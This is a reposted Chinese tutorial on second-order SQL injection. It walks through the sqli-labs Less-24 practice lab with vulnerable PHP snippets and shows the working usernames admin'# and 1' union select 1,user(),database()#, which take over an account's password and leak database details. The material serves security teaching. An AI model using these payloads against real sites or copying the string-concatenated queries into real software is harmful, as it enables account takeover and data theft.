[转]sql二次注入
01 二次注入原理
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:
-
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。 -
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
配合下图可以有更好的理解:
![](https://upload-images.jianshu.io/upload_images/8581772-b024d9bb4acded26.png?imageMogr2/auto-orient/strip|imageView2/2/w/854/format/webp)
02 二次注入方法
这里我们使用sqli-labs/Less24为例,进行二次注入方法的练习。
打开页面可以看到一个登陆界面,尝试用admin'#
进行注入,失败。
部分源代码如下:
$username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
可以看到使用了mysql_real_escape_string
进行转义处理,无法进行SQL注入。
继续研究,发现登陆页面可以进行用户注册,这里我们注册一个admin'#
的账号,登陆该账号后可以进行密码修改。
注册新用户过程中的处理代码:
if (isset($_POST['submit'])) { $username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']); echo "<font size='3' color='#FFFF00'>"; $sql = "select count(*) from users where username='$username'"; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_fetch_row($res); //print_r($row); if (!$row[0]== 0) { ?> <script>alert("The username Already exists, Please choose a different username ")</script>; <?php header('refresh:1, url=new_user.php'); } else { if ($pass==$re_pass) { # Building up the query........ $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")"; mysql_query($sql) or die('Error Creating your user account, : '.mysql_error()); echo "</br>"; ··················
可以看到传入的username
、password
、re_password
仍均被mysql_escape_string
进行了转义处理,但是在数据库中还是插入了admin'#
这是因为当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反斜杠。
这时,我们用admin'#
登陆,并进行密码修改,密码修改为`123456``
执行后,查看数据库数据:
可以看到admin
的密码由原来的123
修改为123456
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; 这是因为上面的数据库更新语句,在用户名为 "admin'#" 时执行的实际是: $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。
为了更好地演示二次注入的威力,我们创建一个可以打印数据库users
表的list.php
文件,核心源代码如下:
<?php include("../sql-connections/sql-connect.php"); error_reporting(0); $sql="SELECT * FROM users ORDER BY id"; $result=mysql_query($sql); $num=mysql_num_rows($result); for ($i=0; $i < $num; ++$i) { $row = mysql_fetch_array($result); $username = $row[1]; $sql_detail = "SELECT * FROM users where username='$username'"; $result_detail=mysql_query($sql_detail); $num_detail = mysql_num_rows($result_detail); for ($j=0; $j < $num_detail; ++$j) { $row_detail = mysql_fetch_array($result_detail); echo<<<END <table border="1" style="table-layout:fixed;" width="1000"> <tr> <th>$row_detail[1]</th> <th>$row_detail[2]</th> </tr> </table> END; } } ?>
此时,按照之前的步骤我们创建一个新用户1' union select 1,user(),database()#
,现在访问刚刚创建好的list.php
,可以看到:
这是因为我们在注册新用户时,1' union select 1,user(),database()#
被代入数据库,在list.php
中的执行情况:
$row[1] 为 1' union select 1,user(),database()# 那么 $username = $row[1]; $sql_detail = "SELECT * FROM users where username='$username'"; 的执行结果为: $sql_detail = "SELECT * FROM users where username='1' union select 1,user(),database()#'";
这更直观地显示了二次注入的威力。
03 二次注入之CTF实例 i春秋上一道二次注入的题型还有WP
原文章:https://www.jianshu.com/p/3fe7904683ac